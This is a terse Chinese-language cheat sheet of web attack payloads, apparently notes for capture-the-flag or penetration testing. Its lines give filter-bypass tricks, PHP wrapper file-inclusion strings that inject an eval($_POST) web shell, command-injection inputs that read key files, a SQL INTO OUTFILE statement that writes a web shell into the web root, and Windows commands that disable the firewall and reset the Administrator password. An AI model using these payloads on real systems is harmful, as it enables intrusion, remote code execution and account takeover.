空格绕过:/**/  URL编码

伪协议:

page=zip://xxx/xx/x/x/xxx.jpg%23解压后的名字

page=phar://xxx/xx/x/x/xxx.jpg/解压后的名字

page=ddata://ata://text/plain,<?php @eval($_POST['x']) ;?>

page=data://text/plain,<?php @eval($_POST['x']) ;?>

127.0.0.1 | grep . ../key.php  有空格

127.0.0.1 && c\at ../key*

select '<?php @eval($_POST["x"]);?>' into outfile 'C:/wamp/www/shell.php';

net firewall set opmode disable

net user Administrator ~1Qa